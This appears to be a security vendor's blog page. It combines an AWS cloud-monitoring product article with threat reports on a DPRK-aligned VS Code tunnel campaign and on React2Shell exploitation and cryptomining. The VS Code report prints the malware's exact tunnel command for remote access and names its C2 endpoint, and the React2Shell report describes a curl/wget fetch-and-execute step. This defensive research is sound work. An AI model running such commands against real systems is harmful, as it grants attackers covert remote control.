May 21, 2020

Securing AWS Cloud Environments

Discover how self-learning AI in AWS environments detects and beats threats early with enterprise-wide analysis.

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Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

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May 2020

Cloud platforms transform the way we build digital infrastructure, allowing us to create incredibly innovative environments for business – but often, it’s at the cost of visibility and control.

With complex hybrid and multi-cloud infrastructures becoming an essential part of increasingly diverse digital estates, the journey to the cloud has fundamentally reshaped the traditional paradigm of the network perimeter, while expanding the attack surface at an alarming rate. Meanwhile, traditional security controls still only offer point solutions that rely on retrospective rules and threat signatures and fail to stop novel and advanced attacks.

To shoulder the weight of shared responsibility for cloud security, organizations require the approach offered by Darktrace DETECT & RESPOND. With Self-Learning AI, DETECT continuously learns what normal ‘patterns of life’ look like for every user, device, virtual machine, and container across an organization. By actively developing a bespoke understanding of ‘self,’ the DETECT can identify the subtle anomalies that point to an advanced attack, without any pre-defined assumptions of ‘good’ or ‘bad' and RESPOND can autonomously interfere to stop emerging threats without disrupting business operations.

As more and more businesses turn to AWS to leverage the benefits of cloud infrastructure, gaining visibility and security for AWS-hosted data and applications is absolutely crucial. The advent of AWS VPC traffic mirroring has allowed Darktrace to shine a light on blind spots in our customers’ AWS environments, ensuring that our Cyber AI security platform can stop any type of threat that emerges. With the AI-powered security securing your AWS environment, you can embrace all the benefits of the cloud with confidence.

Self-learning Cyber AI with granular, real-time visibility

VPC traffic mirroring gives our Self-Learning AI access to granular packet data, allowing DETECT to extract hundreds of features from the raw data and build rich behavioral models for our customers’ AWS cloud environments. This real-time visibility to the underlying fabric of AWS environments provided by VPC traffic mirroring helps Darktrace Cyber AI learn ‘on the job,’ continuously adapting as your business evolves. Darktrace provides the only security solution that learns in real time, a critical feature given the speed and scale of development in the cloud.

Unified control: Correlating patterns across infrastructure

Taking a fundamentally unique approach, DETECT actively correlates activity across AWS and beyond – whether your digital ecosystem includes other cloud environments, SaaS applications, or any range of on- and off-premise infrastructure. From a threat detection perspective, this is crucial, as security events detected in one part of an organization are often part of a broader security incident. This ensures that threats in the cloud are not siloed from monitoring of the rest of the infrastructure, nor are the implications for cloud security ignored when intrusions occur elsewhere in the network.

Neutralizing sophisticated and novel attacks

Legacy security controls miss novel and advanced attacks targeting cloud infrastructure. With VPC traffic mirroring supporting Darktrace Cyber AI’s understanding of an organization’s AWS environment, any slight changes from normal behavior that may indicate a potential threat can be detected immediately. This allows the DETECT to catch the full range of cloud-based attacks, from zero-day malware, to stealthy insider threats.

“Darktrace represents a new frontier in AI-based cyber defense. Our team now has complete real-time coverage across our SaaS applications and cloud containers.”

— CIO, City of Las Vegas

How it works: Using VPC traffic mirroring to analyze AWS traffic

For customers leveraging AWS within an IaaS model, Darktrace uses VPC traffic mirroring to collect metadata from mirrored VPC packets in a Darktrace probe known as a ‘vSensor’. The vSensor captures real-time traffic and selectively forwards relevant metadata to a Darktrace cloud instance or on-premise probe. From here, DETECT correlates VPC traffic with cloud, email, network, and SaaS traffic across a customer’s hybrid and multi-cloud infrastructure for analysis.

By utilizing VPC traffic mirroring in this way, the Immune System can perform deep packet inspection on traffic in the customer’s AWS cloud environment, up to and including the application layer. Hundreds of features are extracted from the raw data, ranging from high-level metrics of data flow quantities, to peer relationship meta-data, to specific application layer events. These features allow Darktrace Cyber AI to build rich behavioral models that let it understand normal patterns of life for the organization and detect malicious activity. It is important that Darktrace is able to construct these metrics from the raw data rather than relying on flow logs alone, as flow logs don't provide the required level of granularity or real-time events within connections.

For non-Nitro AWS instances, we deploy lightweight agents known as ‘OS-Sensors’ that feed relevant traffic to a local vSensor and, in turn, to a Darktrace cloud instance or on-premise probe. Once configured, OS-Sensors can easily be scaled as new instances are spun up. Darktrace also offers a specialized OS-Sensor that provides coverage in containerized systems like Docker and Kubernetes.

Richer context with AWS CloudTrail logs

In addition to analyzing data with VPC traffic mirroring, the DETECT also monitors management and data events within AWS. It does so via HTTP requests for logfiles generated by AWS CloudTrail, which monitors events from all AWS services, including:

EC2
IAM
S3
VPC
Lambda

Different event types produced via CloudTrail are organized by Darktrace into categories based on the action type and the AWS services that generate it. These different categories show up as metrics in the DETECT user interface, the Threat Visualizer. This information is used to provide even richer context in connection with mirrored traffic in VPCs, as well as all cloud, network, email, and SaaS traffic across a customer’s entire digital environment.

Darktrace deployment scenarios for AWS customers

For IaaS environments, Darktrace deploys a vSensor in each cloud environment. Within AWS environments, the vSensor captures real-time traffic with AWS VPC traffic mirroring. The receiving vSensor processes the data and feeds it back to the cloud-based Darktrace instance. AWS customers additionally have the option of deploying a ‘Darktrace Security Module’ to monitor IaaS management and data events at the API level, such as logins, editing virtual servers, or creating new access credentials.

Figure 1: A cloud-only deployment scenario — Darktrace manages a master cloud probe which receives traffic from sensors and connectors in IaaS and/or SaaS environments.

For hybrid IaaS deployments, Darktrace will similarly deploy vSensors, and OS-Sensors as appropriate. Cloud traffic and event data from AWS and any other cloud environments is then fed to a Darktrace probe in the cloud or on-premise network. For the latter scenario, Darktrace will deploy a physical appliance that ingests real-time network traffic via a SPAN port or network tap, allowing it to correlate patterns across the entire digital ecosystem.

Figure 2: A hybrid cloud deployment scenario, with multi-cloud infrastructure across AWS, Azure and GCP

For hybrid SaaS deployments, Darktrace will deploy provider-specific Darktrace Security Modules on either a physical or cloud-based Darktrace probe, in addition to any other relevant vSensors and OS-Sensors in place. SaaS data is then analyzed and correlated with traffic and user behaviors across AWS, other cloud environments, and any on- and off- premise cyber-physical infrastructure.

*Figure 3: A hybrid SaaS deployment scenario*

Defense against the full range of threats in the cloud

With the deep insight and powerful reaction capabilities of Cyber AI, Darktrace DETECT & RESPOND are the only proven technologies to stop the full range of cyber-threats in the cloud, including:

Critical misconfigurations
Insider threat
Compromised credentials
Novel and advanced malware
Password brute-force attacks
Data exfiltration
Lateral movement
Man-in-the-middle attacks
Crypto-jacking
Violations of policy

Case Studies

Crypto mining malware inadvertently installed

Darktrace detected a mistake from a junior DevOps engineer in a multinational organization with workloads across AWS and Azure and leveraging containerized systems like Docker and Kubernetes. The engineer accidentally downloaded an update that included a crypto miner, which led to an infection across multiple cloud production systems.

After the initial infection, the malware started beaconing out to an external command and control server, which was immediately picked up by Darktrace. With the external connection established and the attack mission instructions delivered, the crypto malware infection was then able to rapidly spread across the organization’s expansive cloud infrastructure at machine speed, infecting 20 cloud servers in under 15 seconds.

Extensive visibility into the organization’s AWS environment via VPC traffic mirroring was a key factor allowing Darktrace Cyber AI to identify the scale of the attack. With the dynamic and unified view across the company’s sprawling hybrid and multi-cloud infrastructure provided by Darktrace, the company’s security team was able to contain the attack within minutes, rather than hours or days. Even though the attack moved at machine speed, by leveraging solutions like VPC traffic mirroring to continuously analyze behavior in the cloud, Darktrace caught the threat at an early enough stage – well before the costs could start to mount.

Developer misuse of AWS cloud infrastructure

At an insurance group, a DevOps Engineer was attempting to build a parallel back-up infrastructure within AWS to replicate the organization’s data center production systems. The technical implementation was perfect, and the back-up systems were created – however, the cost of running the system would have been several million dollars per year.

The DevOps Engineer was unaware of the costs associated with the project and kept management in the dark. The cloud infrastructure was launched, and the costs started rising. Yet with real-time access to the company’s AWS environment provided by VPC traffic mirroring, Darktrace’s Cyber AI was immediately alerted to this unusual behavior, allowing the security team to take preventative action immediately.

With Darktrace Cyber AI, embrace the benefits of AWS

As organizations increasingly turn to the cloud and the threat surface continues to expand, security teams need self-learning AI on their side to gain the strongest insights, illuminate every blind spot, and stop all attacks.

By providing an enterprise-wide Cyber AI platform, Darktrace helps teams overcome the traditional security challenge of manually piecing together incidents across disparate corners of an organization. The unified visibility and control offered by Darktrace PREVENT, DETECT, RESPOND, & HEAL reduces the complexity and dashboard fatigue that many teams continue to struggle with, while the system’s multi-dimensional insight enhances its decision-making and threat confidence. Darktrace further augments this process with the Immune System’s AI Analyst capability, which takes the additional step of automatically investigating threats detected by Darktrace and producing concise, AI-generated reports that communicate the full scope of an incident.

With the granular, real-time visibility of VPC traffic mirroring Darktrace, you can be certain your AWS cloud environments are always protected.

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Inside the SOC

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Senior Director of Product, Cloud | Darktrace

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January 22, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

campaign targeting south orea leveraging vs code for remote access

Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to https://www.yespp.co.kr/common/include/code/out.php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1] https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.‍

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction. No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

About the author

Nathaniel Jones

VP, Security & AI Strategy, Field CISO

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Securing AWS Cloud Environments

Cloud platforms transform the way we build digital infrastructure, allowing us to create incredibly innovative environments for business – but often, it’s at the cost of visibility and control.

Self-learning Cyber AI with granular, real-time visibility

Unified control: Correlating patterns across infrastructure

Neutralizing sophisticated and novel attacks